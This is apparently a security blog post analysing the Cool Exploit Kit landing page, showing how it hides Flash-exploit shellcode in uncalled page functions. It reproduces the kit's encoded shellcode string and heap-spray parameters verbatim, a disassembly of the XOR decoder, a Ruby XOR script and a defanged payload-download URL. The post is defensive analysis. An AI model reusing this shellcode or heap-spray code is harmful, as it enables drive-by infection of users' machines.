Finding Shellcode in the “Cool Exploit Kit” Index Page

Automated functions have a hard time finding shellcode in the exploit page for Cool Kit, even when the shellcode variable is labeled getShellCode.  Why? The exploit scripts use environmental reference
Environmental Reference
The trick of the trade today is for script to reference information outside its immediate scope, namely information that is available because of its environment.  This is to address two very common  techniques:
1. Extract Scripts from an object (PDF, Web Page) and execute the script to see if its malicious.
2. Examine the object (often by running it) to see if variables contain malicious code, often shellcode
In Cool Exploit, external references occurs often. Two examples of this in Cool are:
  • In the PDF, the Shellcode and malicious JavaScript is Kept in the Keywords and Creation Date fields of the PDF.
  • In the SWF exploit, the Shellcode is kept in the calling web page to which the SWF refers back to.
Both of these techniques are consistent with Blackhole v2.
SWF Exploit
On the Cool Exploit web page that is downloaded to the users systems there are a number of functions that are never called by any of loaded JavaScript.  Most automated systems do not evaluate them for the page itself never calls the functions.  They might exist only to confuse the automated program. These are:
                function getCN() {
                    return "../media/score.swf"
                }

                function getBlockSize() {
                    return 1024
                }

                function getAllocSize() {
                    return 1024 * 1024
                }

                function getAllocCount() {
                    return 300
                }

                function getFillBytes() {
                    var a = '%' + 'u' + '0c0c';
                    return a + a
                }
                zxczxc = function () {
                    var a = "8200#!e182#!3451#!8571#!8504#!e460#!a570#!7470#!64e4#!6014#!64f4#!3414#!7474#!74a4#!14b4#!94c5#!d464#!d4b5#!44b4#!c5d4#!0474#!d460#!94c5#!14e5#!85a5#!7070#!8521#!c5c5#!8504#!2370#!15e1#!eee6#!3733#!2e2a#!59b1#!7492#!621a#!6d2a#!4c0b#!6662#!7d6a#!6d7d#!0c4b#!e702#!6d7d#!8224#!ce24#!82d5#!8a71#!2df6#!82d5#!8a71#!b3f6#!a23c#!423c#!babe#!e7c2#!b77d#!3c42#!82ba#!c224#!7de7#!82b7#!e324#!8ed5#!c3da#!7de7#!2482#!b7f7#!2482#!2482#!9697#!53c2#!0ac6#!c281#!2a9e#!8217#!5312#!eec6#!4444#!60c4#!53d2#!fec6#!a4c5#!f585#!5382#!fec6#!1e97#!0cb1#!423a#!7de7#!8282#!0d82#!b704#!b580#!8050#!c002#!fec6#!b1a1#!e5a5#!c0c2#!fec6#!f4b5#!a5d4#!c2c0#!42fe#!47c0#!825a#!9282#!4cc2#!a59a#!a23c#!7d3c#!7d7d#!0c94#!3a0c#!ce02#!e3ba#!c77d#!4454#!d5a5#!8204#!6482#!0474#!7dbc#!bed2#!83ba#!3a67#!3a4c#!87d7#!8e13#!87ba#!8282#!7d82#!8604#!8724#!8207#!8282#!0c82#!ac1d#!7d7d#!0b7d#!170c#!24d2#!3afd#!0402#!bd3a#!eb3c#!c5b2#!42b1#!8a55#!0480#!583a#!3cb7#!17be#!3867#!b2de#!c23a#!5f3a#!0fb2#!423a#!c7c0#!4c7d#!5ae6#!4236#!e43a#!b25f#!67c0#!673a#!d5ec#!3173#!3c9d#!2f86#!52b2#!9e3e#!c502#!01ad#!6983#!3f72#!deb1#!58b2#!964d#!1e16#!ddb1#!80b2#!3ae5#!dde7#!05b2#!c5d1#!413a#!3ad5#!97e7#!3c46#!971c#!ccd5#!c0da#!fac1#!d53d#!11e2#!bee6#!8681#!093a#!7d7d#!d383#!9a6c#!b140#!b2c5#!6741#!e43a#!b13f#!e502#!e73a#!8543#!423a#!3a86#!8681#!c43a#!b18e#!1c77#!d5c1#!dacc#!ffff#!beff#!508e#!afbe#!042e#!0382#!ef08#!9e74#!6618#!139c#!0185#!cfbe#!4ecf#!6638#!1414#!1414#!" ["split"]("").reverse().join("");
                    return a["replace"](/\!#/g, "%" + "u")
                };
                getShellCode = zxczxc;

So why are they there on the exploit page?  They are there to be accessible by the flash object.

flashObj

The flash object is accessed with the parameter of  allowScriptAccess set to always.  This means that the swf object will have access to these functions.  If you have a basic knowledge of shellcode, you can see the setting up of memory and the heap slide/address variable (0x0c0c) in unicode.
How can you ignore a function named getShellCode?  See this, we can get its link quickly. By opening up a JavaScript shell, we can cut and past we can call the function in the shell to see the result.
JavaScripShell
Ok … now that looks like unicode, but is it shellcode?
To find out we can convert the unicode to binary (code in the previous post), store it in a file (inside.bin) and then “strings” the result?
$ ruby u2b.rb inside.uu > inside.bin
$ strings inside.bin
AAAAf
((((pxBh@
(((x
@GF((@]ZDE|
,)((
,
 ZMO[
l
 ,^Z
l5(_XJ\
l5!(q
l5,iyB(B({
]>B({
~,B(
X@\\X
XZA^I\M
@G\MDKM[MFI\AKGJGGCAFO
AFNG
Well, that doesn’t look right.  Let’s guess that its encoded.  Using newbie disassembler we can look at it.
$ ndisasm -u inside.bin
00000000  41                inc ecx
00000001  41                inc ecx
00000002  41                inc ecx
00000003  41                inc ecx
00000004  6683E4FC          and sp,byte -0x4
00000008  FC                cld
00000009  EB10              jmp short 0x1b
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  6681E947FE        sub cx,0xfe47
00000013  803028            xor byte [eax],0x28
00000016  40                inc eax
00000017  E2FA              loop 0x13
00000019  EB05              jmp short 0x20
0000001B  E8EBFFFFFF        call 0xb
00000020  AD                lodsd
00000021  CC                int3
00000022  5D                pop ebp
00000023  1CC1              sbb al,0xc1
00000025  771B              ja 0x42
00000027  E84CA36818        call 0x1868a378
… more …
Starting at line four (4), we have the classic JUMP/CALL/POP to get the address with an XOR of 0x28.  Basically, the shellcode jumps from line 0x09 to 0x1B and then it makes a call back to 0x0B (jump, call, pop).  The call will place the instruction pointer address onto the stack, and then is is popped into the A register in line 0x09.  It will use this register to XOR the address as it decrements through its size (0xFE47 in line 0x0E).  The XOR value, which is our key is 0x28.
There is a quicker way to get a single byte XOR.  A string ends in a null value.  When the XOR key is applied, what use to be the null the value will be the key. We can guess that the shellcode is ending in a string and the last byte would be null. Sure enough! The last unicode (value is  %u00280 or 0x2800).  There is our key in plain site.  Anytime shellcode uses a single byte key and uses strings at the end you can find the key without needing to analyze the encoder.
$ ruby xorKey.rb inside.bin > inside.xor
$ strings inside.xor
iiiiN
}
 3t
XPj@h
hurlmT
$regs
vr32
 -s Sh
wpbt
.dll
/phxxp://private.hotelcesenaticobooking.info/r/f.php?k=6
If you need an xor function … here you go.

#!/usr/bin/env ruby

# More bad code by Chris Jordan … © 2012

binary = ARGF.read
key = 0x28

def xorb(binary, key)

  step3 = Array.new;
  step1 = binary.unpack("C*")
  step1.each do |step2|
    step3.push(step2 ^ key)
  end
  return step3.pack("C*")
end

STDOUT.write xorb(binary, key)
Does the link look familiar?  Same as the link in the “old” PDF.  Now what is strange about that is that normally an exploit kit uses the parameters of a link to keep track of which exploit succeeded.
Conclusion
There is shellcode somewhere in memory attacks.  Attackers are learning to place this code outside the vulnerable “object”.  In the Cool Exploit Kit, the shellcode for the flash object is in the calling page.  This shows that shellcode analysis techniques will likely need to extend into areas not seem as part of the scope of the script.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: